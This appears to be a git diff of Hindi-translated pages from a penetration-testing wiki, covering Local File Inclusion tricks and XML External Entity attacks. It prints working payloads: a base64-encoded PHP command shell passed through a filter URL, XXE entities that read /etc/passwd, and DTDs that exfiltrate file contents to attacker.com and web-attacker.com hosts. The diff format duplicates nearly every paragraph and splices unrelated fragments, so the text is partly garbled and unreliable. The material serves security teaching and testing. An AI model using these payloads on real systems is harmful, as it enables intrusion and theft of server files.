FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम पर विचार किया जा सकता है:
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
### Via php base64 filter (using base64)
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर केवल Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
यदि आपने **Local File Inclusion** पाया है भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **कोई सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
{{#ref}}
via-php_session_upload_progress.md

View File

@ -6,17 +6,17 @@
XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक नाम वाले टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद।
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा के प्रतिनिधित्व की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `&lt;` और `&gt;` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `&lt;` और `&gt;` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
- **XML तत्वों की परिभाषा**: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सा सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है।
- **डॉक्यूमेंट टाइप परिभाषा (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
- **कस्टम और बाहरी Entities**: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम entities बनाने का समर्थन करता है। बाहरी entities, जिन्हें एक URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पार्सर सुरक्षा उपायों के कारण पारंपरिक विधियाँ विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया था: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
@ -65,7 +65,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
### Directory listing
**Java** आधारित अनुप्रयोगों में **डायरेक्टरी की सामग्री को सूचीबद्ध करना** XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय केवल डायरेक्टरी के लिए पूछना):
**Java** आधारित अनुप्रयोगों में यह संभव हो सकता है कि **एक निर्देशिका की सामग्री को सूचीबद्ध किया जाए** XXE के माध्यम से एक पेलोड के साथ जैसे (फाइल के बजाय केवल निर्देशिका के लिए पूछना):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
```
### Blind SSRF
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML संस्थाएँ अनुमति नहीं दी गई हैं**, इस मामले में आप **XML पैरामीटर संस्थाओं** का उपयोग करने की कोशिश कर सकते हैं:
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML संस्थाएँ अनुमति नहीं हैं**, इस मामले में आप **XML पैरामीटर संस्थाओं** का उपयोग करने की कोशिश कर सकते हैं:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
```
### "Blind" SSRF - Exfiltrate data out-of-band
**इस अवसर पर हम सर्वर को एक नया DTD लोड करने के लिए मजबूर करेंगे जिसमें एक दुर्भावनापूर्ण पेलोड होगा जो HTTP अनुरोध के माध्यम से एक फ़ाइल की सामग्री भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे \_ftp://**\_ के माध्यम से निकालने की कोशिश कर सकते हैं, उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करते हुए [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)। यह व्याख्या** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)** पर आधारित है।**
**इस अवसर पर हम सर्वर को एक नए DTD को लोड करने के लिए मजबूर करेंगे जिसमें एक दुर्भावनापूर्ण पेलोड होगा जो HTTP अनुरोध के माध्यम से एक फ़ाइल की सामग्री भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे \_ftp://**\_ के माध्यम से निकालने की कोशिश कर सकते हैं, उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करते हुए [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)। यह व्याख्या** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)** पर आधारित है।**
दिए गए दुर्भावनापूर्ण DTD में, डेटा निकालने के लिए एक श्रृंखला के चरण किए जाते हैं:
@ -104,14 +104,14 @@ The structure is as follows:
%eval;
%exfiltrate;
```
The steps executed by this DTD include:
इस DTD द्वारा निष्पादित चरणों में शामिल हैं:
1. **Parameter Entities की परिभाषा:**
- एक XML parameter entity, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री को पढ़ती है।
- एक और XML parameter entity, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML parameter entity, `%exfiltrate`, की घोषणा करती है। `%exfiltrate` entity को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` entity की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
2. **Entities का निष्पादन:**
- `%eval` entity का उपयोग किया जाता है, जो `%exfiltrate` entity की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
- फिर `%exfiltrate` entity का उपयोग किया जाता है, जो निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर करता है।
1. **पैरामीटर एंटिटीज़ की परिभाषा:**
- एक XML पैरामीटर एंटिटी, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री पढ़ती है।
- एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, `%exfiltrate`, घोषित करती है। `%exfiltrate` एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
2. **एंटिटीज़ का निष्पादन:**
- `%eval` एंटिटी का उपयोग किया जाता है, जो `%exfiltrate` एंटिटी की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर करता है।
हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे `http://web-attacker.com/malicious.dtd` पर।
@ -121,18 +121,18 @@ The steps executed by this DTD include:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्यायित करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर निकालने का कारण बनता है।
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्यायित करता है, दुर्भावनापूर्ण DTD में उल्लिखित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर एक्सफिल्ट्रेट करता है।
### त्रुटि आधारित (बाहरी DTD)
**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के भीतर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, को एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके ट्रिगर किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से किया जाता है:
1. एक XML पैरामीटर एंटिटी `file` को परिभाषित किया गया है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, ज एक अन्य XML पैरामीटर एंटिटी `error` के लिए एक गतिशील घोषणा को शामिल करता है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
2. एक XML पैरामीटर एंटिटी `eval` को परिभाषित किया गया है, जिसमें `error` नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा शामिल है। जब इस `error` एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
3. `eval` एंटिटी को बुलाया जाता है, जिससे `error` एंटिटी की गतिशील घोषणा होती है।
4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास का परिणाम होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है।
4. `error` एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास में परिणत होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है।
दुर्भावनापूर्ण बाहरी DTD को निम्नलिखित XML के साथ बुलाया जा सकता है:
```xml
@ -144,15 +144,15 @@ The steps executed by this DTD include:
![](<../images/image (809).png>)
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना (आमतौर पर) एक त्रुटि को मजबूर नहीं कर सकते।**_
_**कृपया ध्यान दें कि बाहरी DTD हमें दूसरे `eval` के अंदर एक इकाई शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना त्रुटि को मजबूर नहीं कर सकते (आमतौर पर)।**_
### **त्रुटि आधारित (सिस्टम DTD)**
तो जब **आउट-ऑफ-बैंड इंटरैक्शन अवरुद्ध होते हैं** (बाहरी कनेक्शन उपलब्ध नहीं होते) तो अंधे XXE कमजोरियों के बारे में क्या?
XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जो मूल रूप से एक बाहरी DTD में घोषित की गई थी, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी को प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके XML पार्सिंग त्रुटि उत्पन्न कर सकता है जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करता है:
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री को उजागर करने वाली XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -168,7 +168,7 @@ XML भाषा विनिर्देशन में एक छिद्र
The outlined steps are executed by this DTD:
- एक XML पैरामीटर एंटिटी `local_dtd` की परिभाषा सर्वर की फाइल सिस्टम पर स्थित बाहरी DTD फ़ाइल को शामिल करती है।
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे बाहरी DTD में मूल रूप से परिभाषित किया गया था, ताकि एक [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जिसे मूल रूप से बाहरी DTD में परिभाषित किया गया था, ताकि एक [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` को शामिल किया जाता है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है।
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक एंटिटी होती है।
@ -188,7 +188,7 @@ The outlined steps are executed by this DTD:
```
![](<../images/image (625).png>)
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **इंस्टॉल करके** कर सकते हैं कि सर्वर कौन सा **OS / सॉफ़्टवेयर** उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** की खोज कर सकते हैं, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs** की एक सूची **लेकर** और **जांच** कर सकते हैं कि क्या उनमें से कोई मौजूद है:
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **इंस्टॉल करके** कर सकते हैं कि सर्वर कौन सा **OS / सॉफ़्टवेयर** उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** की खोज कर सकते हैं, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs** की एक सूची **इकट्ठा** करके **जांच** कर सकते हैं कि क्या उनमें से कोई मौजूद है:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -219,17 +219,17 @@ Testing 0 entities : []
```
### XXE via Office Open XML Parsers
इस हमले के बारे में अधिक गहन व्याख्या के लिए, **[**इस अद्भुत पोस्ट**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **का दूसरा सेक्शन देखें** **Detectify** से
इस हमले के बारे में अधिक गहन व्याख्या के लिए, **Detectify** के [**इस अद्भुत पोस्ट**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **के दूसरे सेक्शन की जांच करें**
**Microsoft Office दस्तावेज़ अपलोड करने की क्षमता कई वेब अनुप्रयोगों द्वारा प्रदान की जाती है**, जो फिर इन दस्तावेज़ों से कुछ विवरण निकालने की प्रक्रिया में जाती हैं। उदाहरण के लिए, एक वेब अनुप्रयोग उपयोगकर्ताओं को XLSX प्रारूप की स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति दे सकता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को अनिवार्य रूप से कम से कम एक XML फ़ाइल को पार्स करना होगा।
इस भेद्यता का परीक्षण करने के लिए, एक **Microsoft Office फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
इस भेद्यता का परीक्षण करने के लिए, एक **XXE पेलोड वाला Microsoft Office फ़ाइल बनाना आवश्यक है**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
एक बार जब दस्तावेज़ अनज़िप हो जाता है, तो `./unzipped/word/document.xml` में स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट संपादक (जैसे vim) में संपादित किया जाना चाहिए। XML को इच्छित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, जो अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
संशोधित XML पंक्तियों को दो रूट XML ऑब्जेक्ट्स के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL के साथ बदलना महत्वपूर्ण है।
संशोधित XML पंक्तियों को दो रूट XML ऑब्जेक्ट्स के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL से बदलना महत्वपूर्ण है।
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाई गई "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाए गए "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
अब, बनाई गई फ़ाइल को संभावित रूप से कमजोर वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
@ -241,17 +241,17 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँचने में **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [इस अनुभाग को देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे करें](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँच प्राप्त करना **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [सिस्टम DTD फ़ाइलों के दुरुपयोग के तरीके के लिए इस अनुभाग की जाँच करें](xxe-xee-xml-external-entity.md#error-based-system-dtd).
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`.
2. HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर `/tmp/...` जैसे स्थान पर।
3. फिर संग्रह को इसके सामग्री तक पहुँचने के लिए निकाला जाता है।
4. संग्रह के भीतर विशिष्ट फ़ाइल, `file.zip`, को पढ़ा जाता है।
5. संचालन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
5. ऑपरेशन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। [इस िपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। इस उद्देश्य के लिए [इस भंडार](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -320,15 +320,15 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - फ़ाइल अपलोड
उपयोगकर्ताओं द्वारा कुछ अनुप्रयोगों में अपलोड की गई फ़ाइलें, जिन्हें फिर सर्वर पर संसाधित किया जाता है, XML या XML-समावेशी फ़ाइल स्वरूपों के प्रबंधन में कमजोरियों का लाभ उठा सकती हैं। सामान्य फ़ाइल स्वरूप जैसे कार्यालय दस्तावेज़ (DOCX) और चित्र (SVG) XML पर आधारित होते हैं।
उपयोगकर्ताओं द्वारा कुछ अनुप्रयोगों में अपलोड की गई फ़ाइलें, जिन्हें फिर सर्वर पर संसाधित किया जाता है, XML या XML-समावेशी फ़ाइल प्रारूपों के प्रबंधन में कमजोरियों का लाभ उठा सकती हैं। सामान्य फ़ाइल प्रारूप जैसे कार्यालय दस्तावेज़ (DOCX) और चित्र (SVG) XML पर आधारित होते हैं।
